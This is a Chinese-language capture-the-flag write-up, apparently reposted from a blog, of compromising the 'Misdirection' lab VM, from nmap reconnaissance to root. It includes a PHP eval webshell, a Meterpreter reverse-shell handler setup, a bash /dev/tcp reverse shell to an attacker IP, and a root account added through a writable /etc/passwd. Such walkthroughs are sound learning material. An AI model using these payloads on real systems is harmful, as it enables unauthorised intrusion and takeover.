Misdriection

2023-12-15 16:02:44

信息收集

存活主机探测

# nmap -sn 192.168.110.0/24 -oN live.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-06 19:58 CST
Nmap scan report for 192.168.110.1
Host is up (0.00024s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.110.2
Host is up (0.00027s latency).
MAC Address: 00:50:56:FE:B1:6F (VMware)
Nmap scan report for 192.168.110.132
Host is up (0.000062s latency).
MAC Address: 00:0C:29:46:76:C4 (VMware)
Nmap scan report for 192.168.110.254
Host is up (0.00017s latency).
MAC Address: 00:50:56:EB:FB:17 (VMware)
Nmap scan report for 192.168.110.128
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 27.94 seconds

存活主机端口信息探测

# nmap -sT --min-rate 10000 -p- 192.168.110.132 -oN port4.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-06 19:59 CST
Nmap scan report for 192.168.110.132
Host is up (0.00089s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql
8080/tcp open  http-proxy
MAC Address: 00:0C:29:46:76:C4 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 2.94 seconds

端口开放服务版本以及操作系统信息探测

# nmap -sT -sC -sV -O -p22,80,3306,8080 192.168.110.132 -oN detail.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-06 20:02 CST
Nmap scan report for 192.168.110.132
Host is up (0.00045s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ec:bb:44:ee:f3:33:af:9f:a5:ce:b5:77:61:45:e4:36 (RSA)
|   256 67:7b:cb:4e:95:1b:78:08:8d:2a:b1:47:04:8d:62:87 (ECDSA)
|_  256 59:04:1d:25:11:6d:89:a3:6c:6d:e4:e3:d2:3c:da:7d (ED25519)
80/tcp   open  http    Rocket httpd 1.2.6 (Python 2.7.15rc1)
|_http-server-header: Rocket 1.2.6 Python/2.7.15rc1
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
3306/tcp open  mysql   MySQL (unauthorized)
8080/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-open-proxy: Proxy might be redirecting requests
MAC Address: 00:0C:29:46:76:C4 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.09 seconds

漏洞脚本信息探测

# nmap -sT --script=vuln -p22,80,3306,8080 192.168.110.132 -oN vuln.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-06 20:02 CST
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for 192.168.110.132
Host is up (0.00042s latency).

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
| http-sql-injection: 
|   Possible sqli for queries:
|     http://192.168.110.132:80/init/default/user/request_reset_password?_next=%2Finit%2Fdefault%2Findex%27%20OR%20sqlspider
|     http://192.168.110.132:80/init/default/user/register?_next=%2Finit%2Fdefault%2Findex%27%20OR%20sqlspider
|     http://192.168.110.132:80/init/default/user/login?_next=%2Finit%2Fdefault%2Findex%27%20OR%20sqlspider
|     http://192.168.110.132:80/init/default/user/request_reset_password?_next=%2Finit%2Fdefault%2Findex%27%20OR%20sqlspider
|     http://192.168.110.132:80/init/default/user/register?_next=%2Finit%2Fdefault%2Fsupport%27%20OR%20sqlspider
|     http://192.168.110.132:80/init/default/user/request_reset_password?_next=%2Finit%2Fdefault%2Fsupport%27%20OR%20sqlspider
|     http://192.168.110.132:80/init/default/user/login?_next=%2Finit%2Fdefault%2Fsupport%27%20OR%20sqlspider
|_    http://192.168.110.132:80/init/default/user/login?_next=%2Finit%2Fdefault%2Felections%27%20OR%20sqlspider
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /admin/: Possible admin folder
|_  /admin/admin/: Possible admin folder
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.110.132
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://192.168.110.132:80/init/default/user/request_reset_password?_next=/init/de
|     Form id: auth_user_email__row
|     Form action: #
|     
|     Path: http://192.168.110.132:80/init/default/elections
|     Form id: auth_user_email__row
|_    Form action: #
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
3306/tcp open  mysql
8080/tcp open  http-proxy
| http-enum: 
|   /wordpress/: Blog
|   /wordpress/wp-login.php: Wordpress login page.
|   /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /debug/: Potentially interesting folder
|   /development/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /help/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /images/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /js/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /manual/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|_  /scripts/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
MAC Address: 00:0C:29:46:76:C4 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 91.90 seconds

渗透测试

首先看了一下80端口上的服务:

是一个在线的投票系统,存在登陆注册相关功能:

功能点还是比较多的,同时看到前期的漏洞扫描,发现了两个admin的目录,尝试进行访问,这里其实在登陆注册的地方都是可以进行测试,但是我还是喜欢先整体上看一遍,判断一下突破口可能在什么地方:

同样/admin/admin目录也是这样的界面!

回想起来8080端口上可能是存在wordpress!先进行了一波目录的扫描:

发现存在许多比较感兴趣的目录,看看能否在8080端口上找到突破点!上来看debug目录就惊呆了,直接能命令执行的初始的shell~

继续向下看,之后回来再看这个debug~ development目录下面是空的,通过修改请求方式查看是否存在PUT方式能直接上传文件到这个目录下:

help目录下面和上面development是一样的!

wordpress界面发现了blog,同时利用wpscan进行用户名的探测,当然在博客的首页也是能发现存在admin用户的!

同时识别到wordpress的版本为5.2.19

(在访问wordpress的登陆界面的时候,发现会跳转http://192.168.1.61:8080/wordpress/wp-login.php)所以这里我就修改了一下网络的配置~

同时利用cewl进行了网站的关键字的爬取进行登录!尝试失败~ 目前没有密码 只有账号 回到debug目录:

发现wordpress目录下面的config文件,进行查看:

发现了数据库的账号和密码,尝试mysql的登录 但是登陆失败~ 只能是本地登录了

看到wordpress目录下面存在index.php 查看是否有写入的权限,尝试向index.php里面追加代码:

有写入的权限,尝试写代码进去:

成功执行~ 尝试写反弹shell的马 或者是直接上一句话木马~ (这里我先是上传了一句话木马,发现写的马子少了东西)

怀疑是存在过滤,还以为是过滤$_POST 随后又上传了$_REQUEST 发现还是消失了~ 又尝试了上传msfvenom生成的php反弹shell马,写入后查看了一下,又缺少了$xx 奇奇怪怪 估计这是一个特殊的字符 起到了让$后面的字符变为空~ 暂时还不知道为啥这样。

但是我绕过去了,先是写$$_到文件里面,发现第二个$变为数字,这个方法不行:

又尝试了在$前面加上反斜杠\ 给他转义!成了能写进去了!

最终一句话木马变成了:

<?php eval(\$_POST['shell']);?>

这里没写反弹shell的木马,里面的$多 比较麻烦,经过上面的测试,在反弹shell中每一个$添加"\",应该就可以正常执行马。(这里出现的这种原因将在最后的总结中提到)

连接蚁剑

上线MSF

确认当前的用户为www-data,上传反弹shell的木马,利用msfvenom生成linux可执行的反弹马:

上传成功后,给予可执行的权限~ 利用msfconsole起监听:

use exploit/multi/handler 
set payload linux/x64/meterpreter/reverse_tcp 
set lhost 192.168.1.60
set lport 4444
run

同时在蚁剑上执行shell.elf

提权

拿到初始shell之后,先去提升下bash的交互性。后通过uname -a 查看系统的内核版本信息:

uname -a
Linux misdirection 4.15.0-50-generic #54-Ubuntu SMP Mon May 6 18:46:08 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

上面信息收集到系统为Ubuntu 18.04 也不优先使用内核漏洞进行提权,继续向下看;因为上面已经通过debug收集到数据库的账号和密码,所以想着先进入数据库看看:

mysql -ublog -p

大体上看了一下各个表的内容,没发现什么有用的信息:

/etc/passwd文件中发现了brexit用户:

查看当前用户的sudo权限:

发现可以免密执行/bin/bash~ 那么就用brexit用户起一个bash:

sudo -u brexit /bin/bash

成功切换到brexit用户,之前在浏览的时候发现了家目录下面存在某些文件,但是没有权限看,现在回去看看:

这应该是个flag吧 解密没解出来,这应该就是一个flag了,后面尝试提权,发现/etc/passwd brexit用户具有可写的权限~ 直接写一个root进去:

利用openssl生成一个hash:

openssl passwd 123456

写的时候还是需要将$前面加上\转义

切换到root2用户,密码就是123456

至此整个靶机便打完了。

总结

这里我又看了红队笔记的讲解,存在几个问题:

  1. 首先就是debug其实就是一个初始的shell,没有那么麻烦去写马,连接蚁剑,上传反弹shell马,直接通过bash进行shell的转移即可????????
  2. bash -c "bash -i >& /dev/tcp/192.168.1.60/1234 0>&1" 攻击机利用nc监听端口即可 (死板 不够灵活)
  3. 之所以在写初始的shell中写入echo "$i" >test.php 中,出现空的情况,是因为,$i代表的是i的变量,由于i变量的值是空的,因此写进去的内容就是空的~ 而我们要写进去的只是普通的字符 所以在$前面加上\ 进行转义!
  4. 同时还遗漏了一个点,红笔的大佬通过ls -liah /home/brexit 通过上述的命令查看了brexit家目录下的所有的文件,发现了.viminfo 这个文件也是属于敏感文件的! 当用户使用vim的时候,相关的操作命令便会被这个文件所记录!通过该文件里面记录了对/etc/passwd的操作,因此怀疑brexit用户对/etc/passwd有相应的权限。然后我没有看到这里;由于之前做过Holynix靶场,于是每次提权都会看看/etc/passwd的权限。所以忽略了.viminfo

整个靶场的打靶流程思路:

首先通过信息收集得到了端口22 80 3306 8080,然后在80端口上浏览了一下,是一个web2py框架起的服务,功能点也比较多;

随后看了8080端口上的服务,经过目录扫描,发现了一个和系统初始shell一样的shell,后面进行shell的移动(我的方法比较麻烦);

最后提权阶段,正常来说www-data低权限用户没有什么权限的,但是经过sudo -l 查看到sudoers文件可以免密以brexit用户执行/bin/bash 随后指定以brexit执行命令,成功提权到了brexit用户。之后便是发现了brexit用户可以修改/etc/passwd文件。于是写了一个root权限的新账号

文章来源:https://blog.csdn.net/weixin_44770698/article/details/134935889
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。